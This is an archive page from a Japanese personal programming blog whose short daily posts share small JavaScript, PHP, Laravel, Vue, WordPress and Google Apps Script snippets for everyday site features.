Photo by cottonbro studio on Pexels.com

あのYahoo!と同じ機能を追加しようか悩んでいる.選択した文字を

2024.11.01

Logging

おはようございます.あのYahoo!と同じ機能を追加しようか悩んでいる.選択した文字をサイト内検索する機能.やり方はこのサイトを参照すると導入できそうなんだけど、ちょっとウザいかもしれないと言う気持ちが自分の中にあるので悩んでいます.

もし追加するなら休みの日に機能追加をするつもりです.なので、直近の三連休中に追加していなかったら追加しなかったんだなと思って頂いて構わないです.

let paragraphElement = document.querySelector("p");

paragraphElement.addEventListener('selectstart', function() {
    paragraphElement.addEventListener('mouseup', function(event) {
        console.log(window.getSelection().toString());
    });
});

その場合でもこんな感じになります的なコードは公開しようと思っています.

明日へ続く

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

console.log, EVENT, function, let paragraphElement, mouseup&#39, paragraphElement.addEventListener, querySelector, quot;p&quot, selectstart&#39, toString, window.getSelection, Yahoo, ウザ, コード, 休み, 文字, 機能, 機能追加, 気持ち, 直近,

ある基準に基づき、等級分けや数値化をおこなったものである.イロレーティング計算システム.

2024.09.01

Logging

おはようございます.レーティングとは、ある基準に基づき、等級分けや数値化をおこなったものである.さて台風も去り上々の日和のなか、某ブログでイロレーティング計算システムを作ると意気込んでいた記事を拝見.データベース設計と画面設計は出来てから数日か経過するが一向に次の記事が出てこないような気がする(辞めたのかも知れない🤔なんて事も).

データベース設計を某ブログを参考に興してみました.下記は実行したスクショになります.

尚、accountテーブルが存在するのだけどLaravelにはuserテーブルがあるのでaccountテーブル以外を真似て作成した抜粋ソースコードになります.

<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{
    /**
     * Run the migrations.
     */
    public function up(): void
    {
        Schema::create('game_results', function (Blueprint $table) {
            //
            $table->id();
            $table->foreignId('game_group_id')->constrained('game_groups');
            $table->foreignId('player_id')->constrained('players');
            $table->enum('result',[1,0,0.5])->default(0)->comment('result');
            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     */
    public function down(): void
    {
        Schema::table('game_results', function (Blueprint $table) {
            //
            $table->dropIfExists('game_results');
        });
    }
};

来週か再来週に暇な時間があったら画面設計から徐々に興していきます.そんなに時間はかからない気もしますが、某ブログよりも先に公開するつもりは今のところ無いです.ソースコード公開も営業妨害にならない程度に公開しようと思っています.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

Blueprint, constrained, create, enum, foreignId, function, game_groups, gt, Laravel, lt, Migration, schema, TABLE, timestamps, use IlluminateDatabaseMigrationsMigration, use IlluminateDatabaseSchemaBlueprint, use IlluminateSupportFacadesSchema, void, レーティング, 再来週,

Lightbox2をカスタマイズしてみました.右クリック禁止.

2024.08.12

Logging

おはようございます.先日、Lightbox2をカスタマイズしてみました.Lightbox2は画像をポップアップ表示できるJavaScriptのライブラリ機能です.そのソースコードをカスタマイズし右クリック禁止の機能を追加しました.

ソースコードの編集箇所はlightbox.jsファイルの307行目の下に下記のコードを追加することで、対応可能です.

      $image.on('contextmenu', function(event) {
        event.preventDefault();
      });

なお、lightbox.jsはJqueryが動作している環境で動作するライブラリです、Jqueryが入っていない場合はlightbox.jsが入っていたフォルダに有るlightbox-plus-jquery.jsかlightbox-plus-jquery.min.jsを読み込ましてください.lightbox-plus-jquery.jsかlightbox-plus-jquery.min.jsを読み込ました場合は変更箇所が違いますので注意が必要です.

ちなみにソースコードを覗いて見ると案外自分でも作れそうな構造でした、昔に比べて自分も少しは技術が上がったのかもと思った瞬間でした.

先人のオープンソースコードを見ると本当にためになります.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$image.on, contextmenu&#39, EVENT, event.preventDefault, function, jquery, Lightbox, lightbox-plus-jquery.jsかlightbox-plus-jquery.min.js, lightbox.js, lightbox.jsファイル, LightBox2, オープンソースコード, ソースコード, フォルダ, ポップアップ, ライブラリ機能, 先人, 構造, 瞬間, 編集箇所,

定番javascript、右クリックを禁止するあのコード.

2024.06.28

Logging

おはようございます、定番javascript、右クリックを禁止するあのコードを自分のサイトにも導入しました.因みにJSをOFFにするとリダイレクトページへ飛ぶ仕様になっているので右クリックから画像保存とかは出来ない感じになりました.スマホでどういう挙動になるのかは知らないけども.

  if(document.querySelector('video')){
    let elm = document.querySelectorAll('video');
    [...elm].forEach(el=>nocontextmenu(el));
  }
  if(document.querySelector('img')){
    let elm = document.querySelectorAll('img');
    [...elm].forEach(el=>nocontextmenu(el));
  }

  function nocontextmenu(elm){
    elm.addEventListener('contextmenu',function(event){
      event.preventDefault();
    });
  }

今まで画像保存とかしていた人はソースコードからURLを導き出して画像保存とかを行っても良いですが画像などの二次配布などは禁止しています.

尚、当たり前ですが上記のソースコードの可変などはOKです.

追伸:スマホはCSSで対応

video,img{
  -webkit-touch-callout:none;
  -webkit-user-select:none;
  -moz-touch-callout:none;
  -moz-user-select:none;
  user-select:none;
}

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

document.querySelector, EL, elm, elm.addEventListener, EVENT, event.preventDefault, foreach, function, if, JS, moz-touch-callout, moz-user-select, nocontextmenu, none, querySelectorAll, user-select, webkit-touch-callout, webkit-user-select, リダイレクトページ, 追伸,

頻繁にランダム番号が重複しないようにするクラス.

2024.05.24

Logging

おはようございます、頻繁にランダム番号が重複しないようにするクラスを作りましたのでお裾分けです.実際、Laravelで個人開発しているものに同じ様なコードを走らせています.因みに昨日、Qiitaに投稿したコードと同じものになります.このコードはどういう時に使用しているか.

自分の場合、ランダムにポストするのにこちらのコードを可変したコードを走らせています.

<?php
// 頻繁にランダム番号が重複しないようにするクラス.
class randomizeClass
{
    /**
     * ランダムに配列のインデックス番号を取得する
     */
    public function getRandomIndex($hasArray,$index,$filename='rand.dat',$max=15)
    {
        try {

            //過去のランダム番号を保存しているファイルが無ければ空ファイルを作成する
            if(!file_exists($filename)){                
                file_put_contents($filename,'');
            }

            //過去のランダム番号を保存しているデータを取得
            $fileData = file_get_contents($filename);

            //下記の場合は処理しない
            if ($fileData === false || count($hasArray) < $max) {
                return $index;
            }
            //ファイルデータをカンマで配列に分離
            $isArray = explode(',',$fileData);

            //過去のランダム番号に存在しないか?
            if (array_search($index,$isArray,false) === false) {
                //ランダム格納前処理
                array_unshift($isArray,$index);
                if (count($isArray)>$max) {
                    array_pop($isArray);
                }
                array_filter($isArray,function($val){
                    return $val !=='';
                });
                //ランダム番号を格納
                file_put_contents($filename,implode(',',$isArray));

                return $index;
            }
            //過去のランダム番号に合致したため再帰処理を行う.
            return $this->getRandomIndex($hasArray,array_rand($hasArray),$filename,$max);

        } catch (\Throwable $th) {
            throw $th;
            echo $th->getMessage();
        }
    }
}

//テスト用配列を生成
$hasArray = (function(){
    $val = [];
    for($i=0;$i<100;$i++){
        $val[] = $i;
    }
    return $val;
})();
$filename = 'rand.dat';
//ランダム番号::配列インデックスを取得し表示
print (new randomizeClass)->getRandomIndex($hasArray,array_rand($hasArray),$filename);
print PHP_EOL;
//過去のランダム番号を保存しているデータを取得し表示
print file_get_contents($filename);
print PHP_EOL;

ご自由にコピペでお使い頂ければと思っています😌.そんなに対したコードではないのでオープンにしています.今回は一応、日頃あまり書かないコメントを書きましたが書き慣れていないためか日本語が変かもですね...

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

catch, count, echo, explode, false, filename, function, getMessage, getRandomIndex, gt, Laravel, lt, print, qiita, return, throw, Throwable, try, val, カンマ,

Photo by FOX on Pexels.com

干支計算2024

2024.04.05

Logging

おはようございます、干支計算2024を作りました.ソースコードは下記になります.

干支計算2024 #js #javascript #初級
// 干支の計算方法は?
// 十二支は、西暦を12で割り、同様に余りを求めます。 
let eto = ['申', '酉', '戌', '亥', '子', '丑', '寅', '卯', '辰', '巳', '午', '未'];
document.querySelector('.input').addEventListener('input', function () {
    let index = isNaN(Number(document.querySelector('.input').value)) ? -1 : (Number(document.querySelector('.input').value) % 12);
    document.querySelector('#res').innerText = index === -1 ? '' : eto[index];
});

過去に同じことをしていたのを見つけて、今ならどう書くのだろうかと書いてみた感じです.

求める方法は変わっていますが、コードをみると今の方が短くかけていると思います.昔、コードを書き出した頃から比べると全く違うようになってきた気がしますね.最初から短くかける人でなくても続けていれば短くかけるようになってきますので、滅気ずに頑張ってコードを書いてみてください.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

addEventListener, document.querySelector, eto, function, index, innerText, isNaN, let, let eto, Number, querySelector, res&#39, value, ソースコード, 十二支, , 干支, 干支計算2024, 滅気, 西暦,

laravelのFactoryって便利なダミーデータが作れるよ。

2023.09.20

Logging

おはようございます、laravelのFactoryって便利なダミーデータが作れるよ。ユニットテストするときに使用するのでLaravelを触ったことがある人なら分かると思いますが、ダミーデータ作るれるのは便利ですよねぇーーー😌。因みに公式サイトのサンプルコードに細工したサンプルコードを載せておきます。

namespace Database\Factories;

use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str;
use App\zip358com;

class UserFactory extends Factory
{
    public function definition()
    {
        return [
            'name' => $this->faker->name(),
            'email' => $this->faker->unique()->safeEmail(),
            'email_verified_at' => now(),
            'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password
            'remember_token' => Str::random(10),
            'zip358com' =>function(){
                 return (zip358com::first())->url;
             }
        ];
    }
}

最後に記載していることが恐らくテストを行っていくうちに必要になってくる事だと思います。もう一つ必要になってくるのは、固定したデータでユニットテストを行いたい場合はユニットテストの方でこのような感じに書くと良いです。

use Illuminate\Foundation\Testing\DatabaseMigrations;
use Tests\TestCase;
use App\User;

class YourTest extends TestCase
{
    use DatabaseMigrations;

    public function test_example()
    {
          $user = User::factory()->create([
            'name' =>'zip 358',
            'email' => 'mail@zip358.com',
            'email_verified_at' => now(),
            'password' => '1234567890', // password
            'remember_token' => Str::random(10),
            'zip358com'=>'https://zip358.com',
         ]);
         $this->assertEquals('zip 358', $user->name);
         $user->delete();
    }

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

Factory, FIRST, function, gt, Laravel, namespace DatabaseFactories, Now, Og-, password, random, remember_token, return, STR, use IlluminateDatabaseEloquentFactoriesFactory, use IlluminateFoundationTestingDatabaseMigrations, use IlluminateSupportStr, use TestsTestCase, user, ユニットテスト,

Photo by Rostislav Uzunov on Pexels.com

編集エディタにYOUTUBEのshortのURLを貼り付けても変換されないを改善。 #プラグイン

2023.05.17

Logging

おはようございます。編集エディタにYOUTUBEのshortのURLを貼り付けても変換されないのを改善する方法1ですがコアなPHPファイルを編集することになりますので、動作しなくなったとかは補償はしません、自己責任でお願い致します。YOUTUBEのshortのURLを貼り付けても変換されないのは、WordPressがそのコード一行を未だに追加してくれないから単なるリンクに変換されるだけであるということです。

砂浜Tシャツアート展2023

やり方はこんな感じです。下記のWordPressのファイルを開きます。$providersの配列に一行追加してあげるだけです。但しUPDATEが走る度にWordPressを確認しないといけないので自己責任でお願い致します。そのうち、WordPressの公式が解決してくれると思います。

wp-includes\class-wp-oembed.php
$providers = array(
'#https?://www.youtube.com/shorts/.*#i'        => array( 'https://www.youtube.com/oembed', true ),

この方法の他にURLを貼り付けたときにJSコードでURLを変換する方法や変換する瞬間に関数にフックする方法もありかと思います。そちらの方がWordPressのバージョンがUPしても気にしなくて良いし安全かと思います。

追伸:プラグインにしてみました。ソースコードはこちらです。

/*
Plugin Name: youtube-shorts
Plugin URI: https://zip358.com/
Description: youtube-shorts
Version: 1.0
Author: taoka-toshiaki
Author URI: youtube-shortsを貼り付け出来るように
*/
add_filter(
    'oembed_providers',
    function ($providers) {
        $providers['#https?://www.youtube.com/shorts/.*#i'] = array('https://www.youtube.com/oembed', true);
        return $providers;
    },
    1,
    1
);

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$providers, add_filter, array, description, function, oembed_providers, PHPファイル, return, short, taoka-toshiaki Author, true, UPDATE, URI, wp-includesclass-wp, youtube, youtube-shorts, youtube-shorts Plugin, youtube-shorts Version, 追伸, 配列,

いいねボタンと悪いねボタンを実装予定。 #いいね👍

2023.04.07

Logging

おはようございます、週末の夜から休日を使用して、とあるサイトにいいねボタンと悪いねボタンを実装予定です。これにより、コミュニティが盛り上がることを少し期待しているけども、そんなに変わらないだろうなって思います。ですが作ろうと思っています( ・ิω・ิ)。

<button id="likeBtn">👍</button>
<button id="dislikeBtn">👎</button>

<p><span id="likeCount">0</span></p>

いいねの数カウントと悪いはカウントしないものを実装です、そうYOUTUBEと同じ外見的、仕様です、中身はガタガタな物なんですが・・・。外見だけでも合わせようと思います、同じ仕様にするのは、それが巨人が一番良いと結論付けたのだからそれには大いに意味があるだろうという理由から、そうするように決めました。

// カウンターの初期値を設定
let likeCount = 0;
let dislikeCount = 0;

// 「いいね」ボタンのクリックイベントを追加
document.getElementById("likeBtn").addEventListener("click", function() {
  likeCount++;
  document.getElementById("likeCount").textContent = likeCount;
});

因みに、今月から金曜日も仕事になりました、先月末まで4勤務だったので、少しばかりアレですが5勤の方がONとOFFの切り替えが出来てよいです。フルリモートなので、ONとOFFの切り替えが難しいでしょうという人もいると思いますが、息を吸うようにいつもコードを書いているので正直な所、難しい事ではないです。仕事の場合、注意をはらっているのですが…まだまだ抜けがあるのが現状です。それが嫌だなって思います。そこを直したいなって日々思っています。

トイウコトデ、日曜日には実装済みになっていると思います。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

addEventListener, button&gt, dislikeBtn&quot, function, getElementById, gt, let dislikeCount, likeCount, lt, quot;click&quot, quot;likeBtn&quot, quot;likeCount&quot, span&gt, textContent, youtube, クリックイベント, トイウコトデ, 外見, 設定 let, 追加 document.getElementById,

vue.jsの学習をはじめて思うこと。 #参考書

2022.12.29

Logging

おはようございます、今年もあと少しですね😳。

先日からvue.jsの学習をしているのですが、参考書の8割方のアウトプットが出来ましたがですが、正直なところ、基礎概念がわかったぐらいの物でテクニックが記載されているという感じではない本、そういう印象を持っていますが、あと2割に極上のテクニックが記載されているかも知れません。

自分が買った本はこれです。

こんなデザイン表紙になっています、本のタイトル名は過去の記事に記載していますので、そちらを参照くださいませ🙇。

因みにいまVue.jsのコンポーネントを勉強しています。コンポーネントの使い方は分かったのですが、正直な所、JavaScriptを初めて勉強した方からするとハードルは結構高いじゃないかなと思います。こういう様になるんだという考えで進めていくべしですね。何故ならフレームワークの中身を知ろうとするとかなり難解なので、こういうルールがあるだよと思った方が良いです。

最後に自分のGitHubに参考書を基にしたサンプルコードをUPしていますので、良かったら参照ください。

        Vue.component('ore',{
            data:function(){
                return {
                    oreore:''
                }
            },
            mounted:function(){
                this.oreore = ' https://taoka-toshiaki.com';
            },
            template:'<h1>taoka toshiaki {{ oreore }}</h1>',
        });
        let app = new Vue({
            el:'#app',
        });

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

data, EL, function, github, let app, lt, mounted, new Vue, oreore, return, taoka-toshiaki, template, this.oreore, Vue.component, vue.js, アウトプット, コンポーネント, ハードル, フレームワーク,

サイト内の文字をハイライトする一万円の案件は。 #案件

2022.12.18

Logging

おはようございます、笑う門には福来る😆この記事は月曜日の朝に書いたものです💦。

先日、Chromeの拡張機能でサイト内の文字をハイライトする一万円の案件を募集しておりました。この一万円の案件は妥当な金額なのかが“????”。例えば人工知能をゴリゴリと使えるスーパーエンジニアにとっては朝飯前の案件だと思いますが、見習いエンジニアにとっては難しい案件なのかもしれない。

この一万円という金額は人によって高くもなるし安くもなるかもしれないです。要するに見習いエンジニアが3日間かけて納品した場合とスーパーエンジニアがものの数秒で納品した場合を日本の平均時給で考えると一方は黒字でもう一方は赤字になる。

そう考えると今回の文字をハイライトするという案件は適正価格なのかもしれない。

因みにこの文字をハイライトするChromeの拡張機能はもう存在しており無料で公開されている。そう考えると一万円も貰えるというのはラッキーなのかも知れない。

尚、文字をハイライトするコードは下記により参照ください(デモページはこちら)。

let funs = {
    init: { htmlcode: document.getElementById("vals").innerHTML },
    highlight: function (e) {
        document.getElementById("vals").innerHTML = funs.init.htmlcode;
        if (!String(this.value).match(/[a-zA-Z]/) && this.value) {
            document.getElementById("vals").innerHTML = String(funs.init.htmlcode).replace(new RegExp(this.value, 'g'), '<span style="color:red">' + this.value + '</span>');
        }
    },
    inputevent:function(){
        document.getElementById("txt").addEventListener("input", this.highlight);
    }
};
funs.inputevent();

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

a-zA-Z, addEventListener, document.getElementById, function, funs.init.htmlcode, getElementById, gt, highlight, htmlcode, init, innerHTML, inputevent, lt, match, quot, replace, string, this.highlight, this.value, 朝飯前,

Photo by FOX on Pexels.com

中の人が気づいていないパターンでお客様も気づいていない。 #京たけのこ

2022.12.11

Logging

おはようございます、日曜日の朝です😳。

この挙動はアウトかもだろというサイトを見つけました。恐らくですが中の人が気づいていないパターンでクライアント側も気づいていないパターンを発見してしまいましたが…。

京たけのこというサイトを参照すると、ページが表示された途端にページの下部まで勝手にスクロールされるという仕様になっています。何時からこのような事になっているか分かりませんが、至急直さないといけないような案件だと思います。これでは商品を買うのも一苦労かと思います🫠。

JavaScriptのコードを見てみると恐らくこのコードが悪さをしているようです…。

	// browser window scroll (in pixels) after which the "back to top" link is shown
	var offset = 300,
		//browser window scroll (in pixels) after which the "back to top" link opacity is reduced
		offset_opacity = 1200,
		//duration of the top scrolling animation (in ms)
		scroll_top_duration = 700,
		//grab the "back to top" link
		$back_to_top = $('.cd-top');

	//hide or show the "back to top" link
	$(window).scroll(function(){
		( $(this).scrollTop() > offset ) ? $back_to_top.addClass('cd-is-visible') : $back_to_top.removeClass('cd-is-visible cd-fade-out');
		if( $(this).scrollTop() > offset_opacity ) { 
			$back_to_top.addClass('cd-fade-out');
		}
	});

何故、こういう事が起きるかというとChromeさんのキャッシュが大きく影響していて、JSファイル等は最新のデータを取るように設定していないとブラウザ側のデータ処理を再現する仕様になっているからなのです、なので、毎回のように訪問している人には最新のJSファイルが適用されず昔のデータでページが動作して不具合に気づかないのです。

これは稀に起こるヒューマンエラーのようなものです。確認の怠りが原因ですけどね…なかなかChromeのキャッシュは強力なので、クロスブラウザーテストするのをお勧めします。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

browser window, cd-fade-out&#39, cd-is-visible cd-fade-out&#39, cd-is-visible&#39, cd-top, function, gt, if, link, offset, offset_opacity, scroll, scroll_top, scrolling animation, scrollTop, this, var offset, window, 一苦労, 挙動,

Photo by Suzy Hazelwood on Pexels.com

超簡単なコード🦋マウス追従をする。 #javasriptcode

2022.11.28

Logging

おはようございます。先週、土曜日の朝は雨がしとしとと降っていましたね☔。

そんな中で一つのデモコードの動画撮影をしていたのですがボツにしました。理由は超簡単過ぎるコードなので、再生回数が狙えそうにないなという判断からです(尺も短いし…)。でも一応コードを書いたのでソースコードはリリースします。タイトル通り、マウス追従するコードです。マウスポインターを一定の距離間隔で追従します。ソースコードはjavasriptだけ貼っていますが、CSSやHTMLを使用して円を描いています。そちらはデモサイトを検証して頂けたらと思います。

let circle = document.getElementById("circle");
document.body.addEventListener("mousemove",function(e){
    let a = e.currentTarget.getBoundingClientRect();
    let x = e.clientX - a.left;
    let y = e.clientY - a.top; 
    circle.style.top = `${y}px`;
    circle.style.left = `${x}px`;
    circle.style.transform = `translate(50px,50px)`;
})

余談:
この頃、ブログがスランプ状態ですね、キーボードも弾みません、波に乗っているときは結構早く一つの記事を書くことが出来るのですが全然ですね。そんな弾まないブログ記事作成の一コマの風景を動画に撮りました。明日の記事かYOUTUBEにアップしているので参照してみてくださいな(音楽は軽やかなんですけど…😅)。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

addEventListener, body, circle, css, currentTar, document, function, getElementById, html, javasript, javasriptcode, let, mousemove, quot, コード, サイト, ソース, そちら, タイトル, デモ, ポインター, ボツ, マウス, リリース, 一つ, 一定, , 使用, 先週, , 再生, 判断, 動画, 回数, 土曜日, , 撮影, , 検証, 理由, 超簡単, 距離, 追従, 間隔, ,

Photo by Pixabay on Pexels.com

Gドライブの画像仕分けがGASを使うと楽すぎでした! #gas #jscode

2022.11.09

Logging

おはようございます。昨日は暖か陽気でしたね~?、今日はどうかな?🤔

今日はGoogleドライブで画像仕分けが楽すぎた件を書いていきます。GASとはgoogle apps scriptの略です、このGASを使用するとGmailやスプレッドシート、Googleドキュメント等をプログラムで操作出来ちゃうサービスです。尚、プログラムコードはjavascriptベースになっていてとても書きやすいです。

function imagesDrive() {
  //画像を仕分けフォルダID googleドライブURL->adaoiujxzouaunWxz33oam__ (ランダム英数字記号の部分)
  const folder = DriveApp.getFolderById('画像を仕分けフォルダID'); 
 //移動先のフォルダID googleドライブURL-> UQIJjaoskamlqaxalp98swq--e (ランダム英数字記号の部分)
  const imgfolder = DriveApp.getFolderById('移動先のフォルダID');
  let hasfiles = folder.getFiles();
  while(hasfiles.hasNext()){
    let hasfile = hasfiles.next();
    if(/(\.png.webp|\.jpg.webp)$/.test(hasfile.getName())){
      hasfile.moveTo(imgfolder);
    }
  }
}

今回、上記のようなコードを書いてサクサクと画像の仕分けを行いました。正規表現パターンを変えたりする事で任意の文字列ファイルだけを別フォルダに移動したりコピー、または削除したりすることも可能です(※コードの追加や変更が必要)。GASのエディタではコード補完機能もあるので初めての方でもプログラマーなら何とかなると思います。

プログラム初心者の方へ、jpg,png,gif等をそれぞれのフォルダに別けたい場合はどのようなコードを書いたら良いでしょうか?上記のコードをヒントにコードを書いてみて下さい。回答に関しては下記に一つの答えとして書いています。

function imagesDrive() {
  //画像を仕分けフォルダID googleドライブURL->adaoiujxzouaunWxz33oam__ (ランダム英数字記号の部分)
  const folder = DriveApp.getFolderById('画像を仕分けフォルダID'); 
 //移動先のフォルダID googleドライブURL-> UQIJjaoskamlqaxalp98swq--e (ランダム英数字記号の部分)
  let folderId = {png:'移動先のフォルダID1',jpg:"移動先のフォルダID2",gif:"移動先のフォルダID3"};
  Object.keys(folderId).forEach((keyname)=>{
    let imgfolder = DriveApp.getFolderById(folderId[keyname]);
    let hasfiles = folder.getFiles();
    while(hasfiles.hasNext()){
      let hasfile = hasfiles.next();
      let r = new RegExp("(\."+ keyname + ")$");
      if(r.test(hasfile.getName())){
        hasfile.moveTo(imgfolder);
      }
    }
  });
}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

33, 39, adaoiujxzouaunWxz, apps, const, DriveApp, folder, function, GAS, getFolderById, Gmail, Google, gt, ID, imagesDrive, javascript, jscode, oam, script, UQIJjao, url, コード, サービス, シート, スプレッド, ドキュメント, ドライブ, フォルダ, プログラム, ベース, ランダム, 今日, , 使用, 操作, 昨日, 画像, , 移動, 英数字, 記号, 部分, 陽気,

Qiitaのfeedを取得して表示するだけのコード。 #php

2022.11.05

Logging

おはようございます、土曜日の朝ですね😗。

今日は文化の日にQiitaにUPしたfeedを取得して表示するだけのコードを書きました。見た目はこんな感じでQiitaの雰囲気を取り入れたデザインにしています。デモ版として実際にサーバーで起動しているモノです、feedを取得しているユーザーは自分を入れて3人です。

表示する人数が多くなるとページを描画する時間が遅くなるので実質、10人が限度かも知れないです。もし何人ものユーザーを取得したいと考えている方は表示部分と処理部分を別けて、尚且つ処理部分は非同期処理で変更することを推奨します。

尚、明日には2つに別けたプログラムコードを別記事として記載しますので、しばしお待ち下さいませ🙇。

今回のソースコードはこんな感じになってます。

<?php
    function get_Qiitafeed(string $feedUrl){
        $xml = @simplexml_load_file($feedUrl);
        if(isset($xml->entry)){
            print("<ul class='qiita_feed-list'>");
            foreach($xml->entry as $key=>$val){
                print("<li><a href='{$val->url}'>".$val->title."</a></li>");
            }
            print("</ul>");
        }
    }
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="Description" content="Enter your description here"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
<style>
    .qiita_feed-list > li{
        /* font-weight: bold; */
        color:aliceblue;
    }
    .qiita_feed-list > li > a{
        color:aliceblue;
    }
    body{
        background-color:#60b111;
    }
    .shadow-lg {
        box-shadow: 0 1rem 3rem rgba(255,255,255,.195)!important;
    }    
</style>
<title>Qiita-feed</title>
<?php
    require $_SERVER['DOCUMENT_ROOT'] ."/header_script.php";
?>
</head>
<body>
    <div class="container">
        <div class="row">
            <div class="col-12">
                <h1 class="text-light">Qiita-feed</h1>
            </div>
        </div>
    </div>
    <div class="container mt-2">
        <?php
            $Id_List = ["taoka-toshiaki","mpyw","suin"];
            foreach ($Id_List as $key => $id) {
            ?>
        <div class="row shadow-lg p-3 mb-5 bg-body rounded">
            <div class="col-12">
                🌿<span class="text-light">://qiita.com/<?=$id?>/feed :[引用]</span>
                <?=get_Qiitafeed("https://qiita.com/".$id."/feed")?>
            </div>
        </div>            
            <?php
            }
        ?>
        Copyright <?=date("Y")?>  <a href="https://358tool.com">358tool.com</a>
    </div>
